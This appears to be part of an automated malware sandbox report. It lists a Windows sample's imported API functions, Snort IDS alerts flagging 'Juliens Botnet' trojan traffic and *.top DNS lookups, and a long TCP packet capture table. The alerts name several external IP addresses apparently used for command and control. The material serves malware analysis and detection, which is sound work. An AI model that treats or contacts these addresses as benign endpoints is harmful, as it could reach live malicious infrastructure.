ADVAPI32.dll	RegCreateKeyExA, RegEnumKeyA, RegQueryValueExA, RegSetValueExA, RegCloseKey, RegDeleteValueA, RegDeleteKeyA, AdjustTokenPrivileges, LookupPrivilegeValueA, OpenProcessToken, SetFileSecurityA, RegOpenKeyExA, RegEnumValueA
SHELL32.dll	SHGetFileInfoA, SHFileOperationA, SHGetPathFromIDListA, ShellExecuteExA, SHGetSpecialFolderLocation, SHBrowseForFolderA
ole32.dll	IIDFromString, OleInitialize, OleUninitialize, CoCreateInstance, CoTaskMemFree
COMCTL32.dll	ImageList_Create, ImageList_Destroy, ImageList_AddMasked
USER32.dll	SetClipboardData, CharPrevA, CallWindowProcA, PeekMessageA, DispatchMessageA, MessageBoxIndirectA, GetDlgItemTextA, SetDlgItemTextA, GetSystemMetrics, CreatePopupMenu, AppendMenuA, TrackPopupMenu, FillRect, EmptyClipboard, LoadCursorA, GetMessagePos, CheckDlgButton, GetSysColor, SetCursor, GetWindowLongA, SetClassLongA, SetWindowPos, IsWindowEnabled, GetWindowRect, GetSystemMenu, EnableMenuItem, RegisterClassA, ScreenToClient, EndDialog, GetClassInfoA, SystemParametersInfoA, CreateWindowExA, ExitWindowsEx, DialogBoxParamA, CharNextA, SetTimer, DestroyWindow, CreateDialogParamA, SetForegroundWindow, SetWindowTextA, PostQuitMessage, SendMessageTimeoutA, ShowWindow, wsprintfA, GetDlgItem, FindWindowExA, IsWindow, GetDC, SetWindowLongA, LoadImageA, InvalidateRect, ReleaseDC, EnableWindow, BeginPaint, SendMessageA, DefWindowProcA, DrawTextA, GetClientRect, EndPaint, IsWindowVisible, CloseClipboard, OpenClipboard
GDI32.dll	SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectA, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
KERNEL32.dll	GetExitCodeProcess, WaitForSingleObject, GetProcAddress, GetSystemDirectoryA, WideCharToMultiByte, MoveFileExA, ReadFile, GetTempFileNameA, WriteFile, RemoveDirectoryA, CreateProcessA, CreateFileA, GetLastError, CreateThread, CreateDirectoryA, GlobalUnlock, GetDiskFreeSpaceA, GlobalLock, SetErrorMode, GetVersion, lstrcpynA, GetCommandLineA, GetTempPathA, lstrlenA, SetEnvironmentVariableA, ExitProcess, GetWindowsDirectoryA, GetCurrentProcess, GetModuleFileNameA, CopyFileA, GetTickCount, Sleep, GetFileSize, GetFileAttributesA, SetCurrentDirectoryA, SetFileAttributesA, GetFullPathNameA, GetShortPathNameA, MoveFileA, CompareFileTime, SetFileTime, SearchPathA, lstrcmpiA, lstrcmpA, CloseHandle, GlobalFree, GlobalAlloc, ExpandEnvironmentStringsA, LoadLibraryExA, FreeLibrary, lstrcpyA, lstrcatA, FindClose, MultiByteToWideChar, WritePrivateProfileStringA, GetPrivateProfileStringA, SetFilePointer, GetModuleHandleA, FindNextFileA, FindFirstFileA, DeleteFileA, MulDiv

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.11.20162.0.239.14549992802844299 08/29/23-22:44:58.349228	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	49992	80	192.168.11.20	162.0.239.145
192.168.11.201.1.1.152617532023883 08/29/23-22:44:20.263657	UDP	2023883	ET DNS Query to a *.top domain - Likely Hostile	52617	53	192.168.11.20	1.1.1.1
192.168.11.2043.154.67.17050013802844299 08/29/23-22:46:21.289633	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	50013	80	192.168.11.20	43.154.67.170
192.168.11.2091.189.114.2750006802844299 08/29/23-22:45:54.815557	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	50006	80	192.168.11.20	91.189.114.27
192.168.11.201.1.1.151674532023883 08/29/23-22:45:23.372118	UDP	2023883	ET DNS Query to a *.top domain - Likely Hostile	51674	53	192.168.11.20	1.1.1.1
192.168.11.2096.44.182.13149986802844299 08/29/23-22:44:39.530811	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	49986	80	192.168.11.20	96.44.182.131
192.168.11.20169.150.247.3950001802844299 08/29/23-22:45:39.379006	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	50001	80	192.168.11.20	169.150.247.39
192.168.11.20119.18.54.5150008802844299 08/29/23-22:46:02.907436	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	50008	80	192.168.11.20	119.18.54.51
192.168.11.20107.148.17.6749984802844299 08/29/23-22:44:21.313042	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	49984	80	192.168.11.20	107.148.17.67
192.168.11.20162.0.239.14549989802844299 08/29/23-22:44:50.239156	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	49989	80	192.168.11.20	162.0.239.145
192.168.11.2091.189.114.2750004802844299 08/29/23-22:45:49.687566	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	50004	80	192.168.11.20	91.189.114.27
192.168.11.20162.0.239.14549990802844299 08/29/23-22:44:52.945443	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	49990	80	192.168.11.20	162.0.239.145
192.168.11.20169.150.247.3950003802844299 08/29/23-22:45:44.440602	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	50003	80	192.168.11.20	169.150.247.39
192.168.11.2091.189.114.2750007802844299 08/29/23-22:45:57.377082	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	50007	80	192.168.11.20	91.189.114.27
192.168.11.2096.44.182.13149988802844299 08/29/23-22:44:44.874482	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	49988	80	192.168.11.20	96.44.182.131
192.168.11.2043.154.67.17050015802844299 08/29/23-22:46:26.820148	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	50015	80	192.168.11.20	43.154.67.170
192.168.11.2096.44.182.13149985802844299 08/29/23-22:44:36.854685	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	49985	80	192.168.11.20	96.44.182.131
192.168.11.2037.140.192.18750020802844299 08/29/23-22:46:46.411426	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	50020	80	192.168.11.20	37.140.192.187
192.168.11.20169.150.247.3950000802844299 08/29/23-22:45:36.842368	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	50000	80	192.168.11.20	169.150.247.39
192.168.11.20119.18.54.5150009802844299 08/29/23-22:46:05.552243	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	50009	80	192.168.11.20	119.18.54.51
192.168.11.2051.79.96.11549997802844299 08/29/23-22:45:26.451440	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	49997	80	192.168.11.20	51.79.96.115
192.168.11.20119.18.54.5150011802844299 08/29/23-22:46:10.860228	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	50011	80	192.168.11.20	119.18.54.51
192.168.11.2043.154.67.17050012802844299 08/29/23-22:46:18.530131	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	50012	80	192.168.11.20	43.154.67.170
192.168.11.20164.88.252.12250017802844299 08/29/23-22:46:35.359432	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	50017	80	192.168.11.20	164.88.252.122
192.168.11.2091.189.114.2750005802844299 08/29/23-22:45:52.253310	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	50005	80	192.168.11.20	91.189.114.27
192.168.11.20164.88.252.12250016802844299 08/29/23-22:46:32.642566	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	50016	80	192.168.11.20	164.88.252.122
192.168.11.2051.79.96.11549996802844299 08/29/23-22:45:23.839294	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	49996	80	192.168.11.20	51.79.96.115
192.168.11.2051.79.96.11549999802844299 08/29/23-22:45:31.699499	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	49999	80	192.168.11.20	51.79.96.115
192.168.11.20164.88.252.12250019802844299 08/29/23-22:46:40.805912	TCP	2844299	ETPRO TROJAN MSIL/Juliens Botnet User-Agent	50019	80	192.168.11.20	164.88.252.122

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 29, 2023 22:43:02.515779972 CEST	49982	443	192.168.11.20	142.250.184.206
Aug 29, 2023 22:43:02.515819073 CEST	443	49982	142.250.184.206	192.168.11.20
Aug 29, 2023 22:43:02.516058922 CEST	49982	443	192.168.11.20	142.250.184.206
Aug 29, 2023 22:43:02.529443026 CEST	49982	443	192.168.11.20	142.250.184.206
Aug 29, 2023 22:43:02.529465914 CEST	443	49982	142.250.184.206	192.168.11.20
Aug 29, 2023 22:43:02.574737072 CEST	443	49982	142.250.184.206	192.168.11.20
Aug 29, 2023 22:43:02.574922085 CEST	49982	443	192.168.11.20	142.250.184.206
Aug 29, 2023 22:43:02.576132059 CEST	443	49982	142.250.184.206	192.168.11.20
Aug 29, 2023 22:43:02.576371908 CEST	49982	443	192.168.11.20	142.250.184.206
Aug 29, 2023 22:43:02.671392918 CEST	49982	443	192.168.11.20	142.250.184.206
Aug 29, 2023 22:43:02.671452999 CEST	443	49982	142.250.184.206	192.168.11.20
Aug 29, 2023 22:43:02.672543049 CEST	443	49982	142.250.184.206	192.168.11.20
Aug 29, 2023 22:43:02.672712088 CEST	49982	443	192.168.11.20	142.250.184.206
Aug 29, 2023 22:43:02.700206995 CEST	49982	443	192.168.11.20	142.250.184.206
Aug 29, 2023 22:43:02.744086981 CEST	443	49982	142.250.184.206	192.168.11.20
Aug 29, 2023 22:43:02.962080002 CEST	443	49982	142.250.184.206	192.168.11.20
Aug 29, 2023 22:43:02.962279081 CEST	49982	443	192.168.11.20	142.250.184.206
Aug 29, 2023 22:43:02.962332010 CEST	443	49982	142.250.184.206	192.168.11.20
Aug 29, 2023 22:43:02.962512970 CEST	49982	443	192.168.11.20	142.250.184.206
Aug 29, 2023 22:43:02.962615967 CEST	49982	443	192.168.11.20	142.250.184.206
Aug 29, 2023 22:43:02.962646961 CEST	443	49982	142.250.184.206	192.168.11.20
Aug 29, 2023 22:43:02.962810040 CEST	49982	443	192.168.11.20	142.250.184.206
Aug 29, 2023 22:43:02.962826967 CEST	443	49982	142.250.184.206	192.168.11.20
Aug 29, 2023 22:43:02.962968111 CEST	49982	443	192.168.11.20	142.250.184.206
Aug 29, 2023 22:43:03.125405073 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.125458956 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.125701904 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.125938892 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.125968933 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.183404922 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.183648109 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.185368061 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.185560942 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.185560942 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.185560942 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.188730001 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.188750982 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.189265966 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.189541101 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.189974070 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.232119083 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.430263042 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.430423021 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.430507898 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.430545092 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.430716038 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.431623936 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.431787014 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.431833982 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.431833982 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.433027983 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.433280945 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.433867931 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.434012890 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.434081078 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.434676886 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.434864044 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.434936047 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.435219049 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.435394049 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.435564995 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.435636997 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.435844898 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.441287041 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.441452980 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.441529989 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.441741943 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.441795111 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.441828012 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.442022085 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.442270994 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.442424059 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.442472935 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.442709923 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.443052053 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.443262100 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.443324089 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.443608046 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.443834066 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.444005013 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.444070101 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.444215059 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.444255114 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.444402933 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.444542885 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.444709063 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.444745064 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.444910049 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.445369959 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.445539951 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.445570946 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.445872068 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.446377993 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.446537018 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.446604013 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.446806908 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.446880102 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.447129965 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.447369099 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.447587967 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.447648048 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.447797060 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.448218107 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.448481083 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.448538065 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.448729992 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.448854923 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.449035883 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.449075937 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.449188948 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.449210882 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.449426889 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.449542999 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.449798107 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.449856997 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.450066090 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.450110912 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.450269938 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.450305939 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.450464010 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.450763941 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.450917959 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.450989962 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.451179981 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.451436996 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.451745033 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.451800108 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.451999903 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.452126980 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.452327013 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.452366114 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.452517986 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.452748060 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.452974081 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.453046083 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.453339100 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.453409910 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.453608990 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.453615904 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.453671932 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.453764915 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.453843117 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.453851938 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.453875065 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.454058886 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.454296112 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.454451084 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.454530954 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.454787016 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.454857111 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.454978943 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.455040932 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.455100060 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.455142021 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.455293894 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.455406904 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.455467939 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.455504894 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.455703974 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.455751896 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.455899954 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.455943108 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.456094027 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.456136942 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.456370115 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.456407070 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.456548929 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.456592083 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.456748009 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.456778049 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.456810951 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.457071066 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.457108021 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.457350969 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.457513094 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.457720995 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.457775116 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.457902908 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.457992077 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.458029032 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.458066940 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.458183050 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.458333969 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.458487034 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.458525896 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.458719015 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.458765984 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.458997965 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.459048033 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.459208012 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.459217072 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.459248066 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.459356070 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.459356070 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.459423065 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.459641933 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.459688902 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.459840059 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.459906101 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.460057020 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.460145950 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.460325003 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.460372925 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.460527897 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.460561991 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.460586071 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.460699081 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.460699081 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.461060047 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.461282015 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.461323977 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.461354017 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.461464882 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.461464882 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.461529970 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.461662054 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.461755991 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.461945057 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.461988926 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.462137938 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.462138891 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.462172031 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.462332964 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.462363958 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.462605000 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.462668896 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.462816954 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.462860107 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.463004112 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.463010073 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.463047981 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.463139057 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.463265896 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.463653088 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.463896990 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.463946104 CEST	443	49983	142.250.185.65	192.168.11.20
Aug 29, 2023 22:43:03.464087963 CEST	49983	443	192.168.11.20	142.250.185.65
Aug 29, 2023 22:43:03.464132071 CEST	443	49983	142.250.185.65	192.168.11.20
